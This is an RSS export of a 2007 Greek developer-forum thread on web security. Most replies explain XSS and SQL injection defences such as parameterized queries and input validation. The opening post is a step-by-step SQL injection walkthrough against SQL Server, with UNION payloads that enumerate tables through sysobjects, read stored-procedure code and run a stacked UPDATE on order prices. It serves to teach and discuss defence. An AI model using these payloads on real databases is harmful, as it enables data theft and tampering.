<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://www.dotnetzone.gr:443/cs/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Code Security</title><link>https://www.dotnetzone.gr:443/cs/forums/139/ShowForum.aspx</link><description>Περιοχή που συζητάμε για το το code security - ένα θέμα που πρέπει να απασχολεί κάθε προγραμματιστή.</description><dc:language>el</dc:language><generator>CommunityServer 2.1 SP3 (Build: 20423.1)</generator><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32415.aspx</link><pubDate>Fri, 01 Jun 2007 07:17:46 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32415</guid><dc:creator>KelMan</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32415.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32415</wfw:commentRss><description>&lt;P&gt;Τα περιεχόμενα των παραπάνω μηνυμάτων έχουν διαγραφεί από το μέλος Thiseas, υποθέτω εις ένδειξη διαμαρτυρίας για την διαγραφή των μηνυμάτων του που σχετίζονταν με τη διακίνηση e-book.&lt;/P&gt;
&lt;P&gt;Λυπούμαστε πολύ που έπρεπε να καταφύγουμε σε αυτήν την ενέργεια, όσοι είστε καιρό στο site θα έχετε διαπιστώσει ότι σπάνια επεμβαίνουμε κατά τέτοιο τρόπο. Ωστόσο το θέμα είναι πολύ ευαίσθητο. Είμαστε τελείως αντίθετοι στη δημοσίευση μηνυμάτων που σχετίζονται με έμμεσο ή άμεσο τρόπο με τη διακίνηση υλικού με πνευματικά δικαιώματα. &lt;/P&gt;
&lt;P&gt;Σίγουρα δεν ευθυνόμαστε για το περιεχόμενο των δημοσιεύσεων που κάνει ο καθένας, εντούτοις στα θολά νερά του νομικού πλαισίου που διέπει το διαδίκτυο, μπορεί να βρεθούμε υπόλογοι στα καλά καθούμενα (βλ. περίπτωση blogme.gr).&amp;nbsp; Θα ήταν κρίμα για όλους, να τελειώσει έτσι άδοξα η προσπάθεια που γίνεται όλα αυτά τα χρόνια αλλά και για εμάς, να μπλεχτούμε σε δικαστικές περιπέτειες. &lt;/P&gt;
&lt;P&gt;Κλείνοντας, πιστεύουμε ότι αφενός τα threads με κενά μηνύματα είναι κάπως ακαταλαβίστικα αλλά αφετέρου δεν θα μπορούσαμε να σβήσουμε τα μηνύματα των υπολοίπων που αφιέρωσαν τον χρόνο τους για να συμμετάσχουν στις συζητήσεις μας. Ως εκ τούτου έχουμε βάλει μια σημείωση που οδηγεί εδώ, ώστε να αντιληφθούν οι ενδιαφερόμενοι το τι συνέβη.&lt;BR&gt;&lt;/P&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32406.aspx</link><pubDate>Fri, 01 Jun 2007 01:08:06 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32406</guid><dc:creator>Παναγιώτης Καναβός</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32406.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32406</wfw:commentRss><description>Το Writing Secure Code είναι πολύ καλό, κυρίως γιατί δεν περιλαμβάνει απλά τεχνικές, αλλά σου παρουσιάζει τη νοοτροπία που χρειάζεται αν θέλεις να έχεις ασφάλεια. Όπως είπε και ο Kelman σε &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/32404.aspx"&gt;άλλο thread&lt;/a&gt;, δεν λέει να περνάει κανείς στην υλοποίηση πρωτού κάνει το σχεδιασμό. Το Threat Model που προτείνει είναι πολύ χρήσιμο για να καταλάβεις τί μπορεί να συμβεί και πως να το αντιμετωπίσεις. Είναι επίσης πολύ καλή η ανάλυση της διαδικασίας ανάπτυξης μίας ασφαλούς εφαρμογής. Σίγουρα, δεν αρκεί να χρησιμοποιήσεις 1-2 τεχνικές για να πεις ότι η εφαρμογή σου είναι ασφαλής. Επίσης καλύπτει πάρα πολλές πιθανές απειλές, όπως XSS, κακή χρήση της κρυπτογράφησης, φυσικά το Dynamic SQL αλλά και πιο προχωρημένα θέματα όπως Sockets και .NET Security. &lt;br&gt;&lt;br&gt;Ακόμα καλύτερα, η Microsoft έχει βγάλει εδώ και καιρό ένα εργαλείο για &lt;a href="http://msdn2.microsoft.com/en-us/security/aa570413.aspx"&gt;Threat Analysis &amp;amp; Modelling&lt;/a&gt; το οποίο διευκολύνει την δημιουργεία των threat models που περιγράφει το βιβλίο. Ένα από τα ωραία χαρακτηριστικά του (πέρα από το ότι κάνει τη δημιουργία του μοντέλου πολύ εύκολη) είναι ότι μπορεί να χρησιμοποιήσει attack libraries και threat templates, επιτρέποντας έτσι σε μία εταιρεία να&amp;nbsp; χρησιμοποιήσει έτοιμα libraries για κάθε νέο project. Στο αντίστοιχο blog μάλιστα είδα ότι ετοιμάζεται και Enterprise έκδοση του εργαλείου. &lt;br&gt;&lt;br&gt;&lt;br&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32401.aspx</link><pubDate>Thu, 31 May 2007 23:57:02 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32401</guid><dc:creator>NullOK</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32401.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32401</wfw:commentRss><description>Ο λόγος που δεν έβαλα περισσότερα bullets δεν είναι φυσικά γιατι δεν ήθελα να πώ, αλλα γιατί το θέμα της ασφάλειας είναι τόσο μεγάλο που θα έπρεπε να γράφω για ώρες!&lt;br&gt;&lt;br&gt;Γενικά το θέμα της ανάπτυξης ασφαλών εφαρμογών, web η μή, είναι τεράστιο. Όσα bullets και να βάλουμε στη λίστα δεν είναι αρκετά, και το "ωραίο" με την ασφάλεια είναι ότι για κάθε bullet που θα έπρεπε να προσθέσει κανείς στη λίστα, μετα απο λίγο θα έβγαινε και κάποιο άλλη μορφή επίθεσης που θα χρειαζότανε καινούρια bullets.&lt;br&gt;&lt;br&gt;Πάντως για όποιον ενδιαφέρεται να ασχοληθεί με την ασφάλεια στo development must βιβλίο είναι το &lt;a href="http://www.amazon.com/Writing-Secure-Second-Michael-Howard/dp/0735617228/ref=pd_bbs_sr_1/102-6825742-3170526?ie=UTF8&amp;amp;s=books&amp;amp;qid=1180619469&amp;amp;sr=8-1" target="_blank"&gt;Writing Secure Code&lt;/a&gt; των Howard, LeBlanc και φυσικά, συνεχής ενημέρωση απο sites, βιβλία, forum κτλ.&lt;br&gt;&lt;br&gt;&lt;br&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32392.aspx</link><pubDate>Thu, 31 May 2007 19:56:17 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32392</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32392.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32392</wfw:commentRss><description>&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Yes, NullOK, κάπως έτσι έχουνε τα πράγματα...&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Ωφείλω όμως τα σημειώσω οτι μας έκοψες στο καλύτερο με τις τρεις τελείες που έβαλες στην λίστα &lt;IMG id=_x0000_i1025 alt=Smile src="http://www.dotnetzone.gr/cs/emoticons/emotion-1.gif"&gt;....&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Εκεί πιστεύω είναι το ενδιαφέρον θέμα. Μια τέτοια λίστα θα βοηθούσε όλους μας.&lt;BR&gt;Να&amp;nbsp;κατέθετε ο καθένας μας την άποψη του από την πραγματική του εμπειρία. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Βέβαια τώρα θα μου πείς.... RTFM ή κάποιο Book....&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Yes,.. ok, άλλα αν τα βρίσκαμε όλα στα Books δεν θα υπήρχε λόγος να γράφουμε τώρα αυτές τις γραμμές. Δεν συμφωνείς? &lt;BR&gt;Άλλοστε οι ανταλλαγή των εμπειριών και των έντονων συζητήσεων είναι που κάνει τέτοια όμορφα forums, σαν κι αυτό, ζωντανά!&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32389.aspx</link><pubDate>Thu, 31 May 2007 17:29:46 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32389</guid><dc:creator>NullOK</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32389.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32389</wfw:commentRss><description>Το Cross Site Scripting (XSS) είναι μια μορφή επίθεσης σε web εφαρμογές που βασίζεται στην προυπόθεση ότι input του χρήστη, βγαίνει κάπου αλλού στην εφαρμογή σαν output χωρίς να έχει φιλτραριστεί η πειραχτεί καθόλου.&lt;br&gt;&lt;br&gt;Το SQL Injection είναι μορφή επίθεσης (κυρίως σε Web εφαρμογές) που έχει στόχο το backend database server, είτε αυτός λέγεται SQL Server, είτε Oracle, είτε DB2 είτε οτιδήποτε. Απλώς ανάλογα τη DB ορισμένες τεχνικες SQL Injection είτε δεν δουλεύουν είτε πρέπει να τροποποιηθούν. &lt;br&gt;&lt;br&gt;Οταν κάποιος επιτίθεται σε μια web εφαρμογή, προφανως θα χρησιμοποιήσει κάθε είδους τεχνική που ξέρει και μπορεί προκειμένου να πετύχει το στόχο του. Οπότε για να θεωρηθεί ασφαλής μια εφαρμογή πρέπει οπωσδήποτε σαν βασική αρχή να: &lt;br&gt;&lt;ul&gt;&lt;li&gt;Κάνει Input Validation σε κάθε μορφή input του χρήστη και μή&lt;/li&gt;&lt;li&gt;Να αποφεύγει το string concatenation για δημιουργία sql statements και να χρησιμοποιεί (όπως είπε και ο Παναγιώτης) stored procedures και Paremeterized statements. &lt;br&gt;&lt;/li&gt;&lt;li&gt;Να έχει προδιαγράψει την "διαδρομή" που κάνει κάθε μορφή input και φυσικά να ελέγξει αν αυτό το input βγαίνει σαν output.&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;Έβαλα τελείτσες στο τελευταίο bullet για να δείξω ότι είναι πάρα πολλά πράγματα που πρέπει να κάνεις για να διασφαλίσεις την ακεραιότητα της εφαρμογής σου. Αυτές είναι τρείς βασικές αρχές που έχουνε να κανούνε κυρίως με XSS και SQL Injection attacks, επειδή αυτές ανέφερες. &lt;br&gt;&lt;br&gt;&lt;br&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32384.aspx</link><pubDate>Thu, 31 May 2007 08:06:58 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32384</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32384.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32384</wfw:commentRss><description>&lt;P class=MsoNormal style="MARGIN:0cm 0cm 0pt;"&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';mso-fareast-font-family:'Times New Roman';"&gt;&lt;IMG id=_x0000_i1025 src="http://www.dotnetzone.gr/cs/Themes/default/images/icon-quote.gif"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-FAMILY:'Tahoma','sans-serif';"&gt;Παναγιώτης Καναβός:&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0cm 0cm 0pt;"&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';mso-fareast-font-family:'Times New Roman';"&gt;Άλλο πράγμα το cross-site scripting (XSS) και άλλο το SQL Injection. To wikipedia περιέχει μία καλή &lt;A href="http://en.wikipedia.org/wiki/Xss"&gt;&lt;FONT color=#0000ff&gt;περιγραφή του XSS&lt;/FONT&gt;&lt;/A&gt;, .... &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;Όχι, δεν είναι άλλο πράγμα... όπως αναφέρει και η Wikipedia το SQL injection περιγράφεται μέσα στο XSS αλλά φυσικά και το όμοφο άρθρο &lt;A href="http://www.securityfocus.com/infocus/1768"&gt;&lt;FONT color=#0000ff&gt;http://www.securityfocus.com/infocus/1768&lt;/FONT&gt;&lt;/A&gt;&amp;nbsp;των &lt;SPAN class=author&gt;&lt;A href="mailto:cto@nii.co.in,%20nileshb@nii.co.in"&gt;&lt;FONT color=#0000ff&gt;K. K. Mookhey, Nilesh Burghate&lt;/FONT&gt;&lt;/A&gt;&lt;/SPAN&gt; &lt;SPAN class=date&gt;2004-03-17.&lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN class=date&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;XSS &amp;amp; SQL Injection, DLL injection κλπ κλπ... αναφέρεται σε εισαγωγή κώδικα σε.... "ενέσιμη μορφή" μέσα σε άλλον!!&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Tahoma','sans-serif';"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;</description></item><item><title>Απ: Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32382.aspx</link><pubDate>Thu, 31 May 2007 07:49:08 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32382</guid><dc:creator>Παναγιώτης Καναβός</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32382.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32382</wfw:commentRss><description>&lt;P&gt;Άλλο πράγμα το cross-site scripting (XSS) και άλλο το SQL Injection. To wikipedia περιέχει μία καλή &lt;A href="http://en.wikipedia.org/wiki/Xss"&gt;περιγραφή του XSS&lt;/A&gt;, το οποίο χονδρικά αφορά την εισαγωγή και εκτέλεση κώδικα στις σελίδες ενός site. Το SQL Injection αφορά οποιαδήποτε εφαρμογή και οποιαδήποτε βάση, όχι μόνο web sites αλλά και desktop εφαρμογές, είτε είναι γραμμένες σε C++, Java ή Perl. &lt;/P&gt;
&lt;P&gt;Ο ευκολότερος τρόπος να απαλλαγεί κανείς από τον κίνδυνο του SQL Injection είναι να πάψει να δημιουργεί SQL statements με string concatenation και να χρησιμοποιήσει stored procedures ή parameterized queries. &lt;/P&gt;</description></item><item><title>Επίθεση &amp; Άμυνα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/32381.aspx</link><pubDate>Thu, 31 May 2007 07:36:37 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:32381</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/32381.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=32381</wfw:commentRss><description>&lt;P&gt;Ενα βασικό κομμάτι των XXS επιθέσεων είναι το SQL injection.&lt;BR&gt;&lt;BR&gt;Το net είναι γεμάτο με κλασικά παραδείγματα τα οποία θα αναλύσουμε πολύ λίγο.&lt;BR&gt;&lt;BR&gt;Περισσότερο θα επικεντρωθούμε σε συγκεκριμένους στόχους.&lt;BR&gt;&lt;BR&gt;Tώρα τελευταία (ας πούμε) βλέπω όλο και πιο συχνά web programs με extention .asp ή .aspx&lt;BR&gt;&lt;BR&gt;Όταν βλέπουμε ένα τέτοιο Xtention.... καταλαβαίνουμε οτι μιλάμε για Micro$oft Και πιο συγκεκριμένα:&lt;BR&gt;.asp = Active Server Pages&lt;BR&gt;.aspx = Active Server Pages with Web forms .net (που υποστηρίζει (JITC)&amp;nbsp;Just In Time Compilation).&lt;BR&gt;&lt;BR&gt;Πολλές φορές πισω από τέτοια αρχεία βρίσκεται ένας SQL server, μιας και είναι προιόντα της ίδιας εταιρία και πουλιούνται σαν πακέτο... (όχι πάντα όμως - τεσπα).&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;Έστω οτι το site μας είναι τέτοιο και έχει μια αδυναμία σε SQL-injection:&lt;BR&gt;&lt;BR&gt;Έστω οτι έχουμε την εξής εντολή (σε ψευδοκώδικα) να εκελέσουμε:&lt;BR&gt;&lt;BR&gt;&lt;FONT color=#0000ff&gt;'Select order_id, name, qty, price from orders where customer_id = '+ Parameter_1 + ' and password= MD5(MD5('+Cookie_Χ+')+userSalt) &lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;H parameter_1 έρχεται σαν εξωτερική παράμετρος από το περιβάλλον (url ή session).&lt;BR&gt;&lt;BR&gt;Έτσι, άν Parameter_1=&lt;STRONG&gt;&lt;FONT color=#0000ff&gt;12&lt;/FONT&gt;&lt;/STRONG&gt; τότε θα εκτελεστεί η εντολή SQL:&lt;BR&gt;&lt;FONT color=#0000ff&gt;Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 and password= 'trelaras~1#%'&lt;/FONT&gt;&lt;BR&gt;θα φέρει όλες τις παραγγείες του πελάτη 12 .&lt;BR&gt;&lt;BR&gt;Αν εμείς, αλλάξουμε την Parameter_1 και τις δώσουμε την εξής τιμή:&lt;BR&gt;Parameter_1 = &lt;FONT color=#0000ff&gt;&lt;B&gt;12 or 1=1 --&lt;/B&gt;&lt;BR&gt;&lt;/FONT&gt;και ο κώδικας μας δεν προστατεύεται (όπως ο παραπάνω),... τότε θα εκτελεστεί:&lt;BR&gt;&lt;FONT color=#0000ff&gt;Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 -- and password= 'trelaras~1#%'&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Στην πραγματικότητα οι χαρακτήρες '--' ειναι σχόλια για τον SQL Server, οπότε οτιδήποτε μετά το -- θα αγνοηθεί, και θα εκτελεστεί το παρακάτω:&lt;BR&gt;&lt;FONT color=#0000ff&gt;Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 &lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Αυτό τι θα επιστρέψει?&lt;BR&gt;Μα φυσικά όλες τις παραγγελίες ανεξαρτήτος πελάτη.... μιας και το condition &lt;FONT color=#0000ff&gt;'&lt;B&gt;customer_id = 12 or 1=1'&lt;/B&gt;&lt;/FONT&gt; επιστρέφει πάντα TRUE!&lt;BR&gt;&lt;BR&gt;Μέχρι εδώ,... δεν έχουμε ανακαλύψει κάτι τρομερά σημαντικό ή για να το πω πιο καλά δεν έχουμε κάνει κάτι σημαντικό.&lt;BR&gt;&lt;BR&gt;Εμείς θέλουμε να δούμε κατ' αρχάς όλα τα tables τις βάσης... &lt;BR&gt;Πως θα το κάνουμε αυτό με SQL-injection&lt;BR&gt;&lt;BR&gt;Θα κάνουμε κάτι παρόμοιο με αυτό που κάναμε παραπάνω, μόνο που θα χρησιμοποιήσουμε την SQL εντολή UNION:&lt;BR&gt;&lt;BR&gt;Δίνοντας λοιπόν &lt;BR&gt;Parameter_1 = &lt;FONT color=#0000ff&gt;12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects --&lt;/FONT&gt;&lt;BR&gt;&lt;BR&gt;Δηλαδή:&lt;BR&gt;&lt;FONT color=#0000ff&gt;Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Κατ' αρχάς ο πίνακας sysobjects υπάρχει πάντα στον SQL-Server όποτε δεν θα πάρουμε αντίστοιχο error.&lt;BR&gt;&lt;BR&gt;Το error που θα πάρουμε θα οφείλετε στην λανθασμένη χρήση της εντολής union η οποία απαιτεί οι στήλες στο πρώτο select να είναι ίσες και του ίδιου τύπου με αυτές του 2ου select.&lt;BR&gt;&lt;BR&gt;Πρέπει να αναφέρω εδώ, οτι ο επιτηθέμενος δεν ξέρει ποιές στήλες έχει το 1ο select, ούτε τους τύπους δεδομένων τους, αλλά ούτε και ποιον πίνακα χρησιμοποιεί το select αυτό.&lt;BR&gt;Πώς θα βρεί το σωστό αριθμό στηλών και τους σωστούς τύπους δεδομένων?&lt;BR&gt;&lt;BR&gt;Υπάρχει ένα κολπάκι:&lt;BR&gt;Κατ' αρχάς θα βάλουμε στο select ένα πολύ μεγάλο αριθμό σταθερών ... πχ:&lt;BR&gt;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&lt;BR&gt;Αυτό θα έχει σαν αποτέλεσμα να πάρουμε από τον sql server το error:&lt;BR&gt;&lt;FONT color=#9acd32&gt;&lt;FONT style="BACKGROUND-COLOR:#000000;"&gt;Server: Msg 205, Level 16, State 1, Line 1&lt;BR&gt;All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;&lt;/FONT&gt;Ωραία!!&lt;BR&gt;Θα μειωνουμε λοιπόν τον αριθμό των σταθερών και θα εκτελούμε το select Μέχρι να πάρουμε ένα διαφορρετικό error το οποίο πιθανόν θα οφείλετε στο διαφορετικό τύπο δεδομένων που υπάρχει στο 1ο select.&lt;BR&gt;Τι θα έχουμε πετύχει? Να βρούμε το πλήθος των στηλών στο 1ο select!&lt;BR&gt;&lt;BR&gt;Στην προκειμένη περίπτωση το error message θα αλλάξει όταν εκτελέσουμε την εντολή:&lt;BR&gt;&lt;B&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,1,1,1,1 from sysobjects --&lt;/B&gt;&lt;BR&gt;&lt;BR&gt;To error τώρα θα είναι κάτι τέτοιο:&lt;BR&gt;&lt;FONT style="BACKGROUND-COLOR:#000000;" color=#9acd32&gt;Server: Msg 245, Level 16, State 1, Line 1&lt;BR&gt;Syntax error converting the varchar value 'χχχχχ' to a column of data type int.&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Τι σημαίνει αυτό.... οτι κάποιος τύπος δεδομένων στο 1ο select δεν συμφωνεί με κάποιο τύπο δεδομένων στο 2ο select. Ο επιτηθέμενος όμως μόνο το 2ο select μπορεί να αλλάζει....&lt;BR&gt;&lt;BR&gt;Οπότε θα αλλάζει τον τύπο των παραμέτρων....&lt;BR&gt;π.χ. &lt;BR&gt;&lt;FONT color=#0000ff&gt;&lt;B&gt;Parameter_1 = 12 or 1=1 UNION select 1,'1','1',1,1,1 from sysobjects --&lt;/B&gt;&lt;BR&gt;&lt;/FONT&gt;μέχρι να μην δει πια λάθος.&lt;BR&gt;&lt;BR&gt;Τελικά θα έχουμε καταλήξει στο εξής&lt;BR&gt;&lt;FONT color=#0000ff&gt;&lt;B&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,'1',1,1,1 from sysobjects --&lt;/B&gt;&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;Αυτό σημαίνει οτι το 1ο SQL χρησιμοποιέι 6 στήλες με τύπο: &lt;BR&gt;number, number,number, character, number,number&lt;BR&gt;&lt;BR&gt;Ωραία!!!&lt;BR&gt;&lt;BR&gt;Τώρα μπορούμε να δούμε το όνοματα όλων των πινάκων της βάσης εκτελώντας το εξής:&lt;BR&gt;&lt;FONT color=#0000ff&gt;&lt;B&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U' --&lt;/B&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Προσέξτε το παραπάνω κόλπο!&lt;BR&gt;Γνωρίζοντας οτι η τρίτη στήλη είναι χαρακτήρες κάναμε το union με τον πίνακα του συστήματος sysobjects για να εμφανίσουμε στην τρίτη θέση την στήλη name που είναι το όνομα των πινάκων.&lt;BR&gt;&lt;BR&gt;Ψάχνοντας τους πίνακες μπορούμε να βρούμε διάφορες πληροφορίες...&lt;BR&gt;Ο μόνος περιορισμός μας είναι ο αριθμός των στηλών και ο τύπος των δεδομένων που ορίζονται στο 1ο select και που στην ουσία είναι ο "οδηγός" που πρέπει να "σεβαστούμε" αν θέλουμε να δουλέψει σωστά το UNION μας.&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;Μπαίνοντας σε πιο βαθιά νερά....&lt;BR&gt;&lt;BR&gt;Πιο advance παραλλαγές είναι να δούμε των κώδικα των stored procedures Μέσα στην βάση δεδομένων:&lt;BR&gt;Για να το κάνω αυτό πρέπει να σας πω το εξής:&lt;BR&gt;Για να δω τα ονόματα &lt;B&gt;(σε normal καταστάσεις)&lt;/B&gt; tων stored procedures, functions που χρησιμοποιεί μια ΒΔ δίνω την εντολή:&lt;BR&gt;[α]&lt;BR&gt;&lt;FONT color=#0000ff&gt;SELECT distinct NAME AS [NAME], &lt;BR&gt;CASE WHEN TYPE ='P' THEN 'PROCEDURE'&lt;BR&gt;WHEN TYPE IN('FN', 'IF','TF') THEN 'FUNCTION'&lt;BR&gt;END AS OBJECTTYPE&lt;BR&gt;FROM SYSCOMMENTS comm&lt;BR&gt;inner join sysobjects obj &lt;BR&gt;on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Επιλέγοντας λοιπόν μια από αυτές μπορώ να δω μέσα των κώδικα της:&lt;BR&gt;[β]&lt;BR&gt;&lt;FONT color=#0000ff&gt;SELECT [Text]&lt;BR&gt;FROM SYSCOMMENTS comm&lt;BR&gt;inner join sysobjects obj &lt;BR&gt;on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')&lt;BR&gt;where [name] = 'MyProcedureName'&lt;BR&gt;&lt;/FONT&gt;&lt;BR&gt;Αν αυτό το μεταφέρω στο... injection μου... θα πρέπει να έδινα αντίστοιχα για τα [α], [β]:&lt;BR&gt;&lt;B&gt;&lt;FONT color=#0000ff&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,[name],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --&lt;/FONT&gt;&lt;/B&gt;&lt;BR&gt;και&lt;BR&gt;&lt;B&gt;&lt;FONT color=#0000ff&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,[Text],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --&lt;BR&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;BR&gt;Κάτι ακόμα ... χειρότερο.&lt;BR&gt;Μπορούμε να εκτελέσουμε κώδικα updates, delete, insert κλπ, κλπ...&lt;BR&gt;Πώς?&lt;BR&gt;Μα με τον χαρακτήρα ';'.&lt;BR&gt;Π.χ.&lt;BR&gt;&lt;B&gt;&lt;FONT color=#0000ff&gt;Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas' --&lt;BR&gt;&lt;/FONT&gt;&lt;/B&gt;Φαντάζομαι καταλάβατε οτι πλέον .... έχουμε απεριόριστη πρόσβαση σε ολόκληρη την βάση να κάνουμε.... ΟΤΙΔΗΠΟΤΕ!&lt;BR&gt;&lt;BR&gt;Ωραία μέχρι.... εδω.... &lt;BR&gt;Την βάση την έχουμε σκίσει!!&lt;BR&gt;Μήπως μπορούμε να... πάρουμε και..... shell...??&lt;BR&gt;&lt;BR&gt;Χμ..... 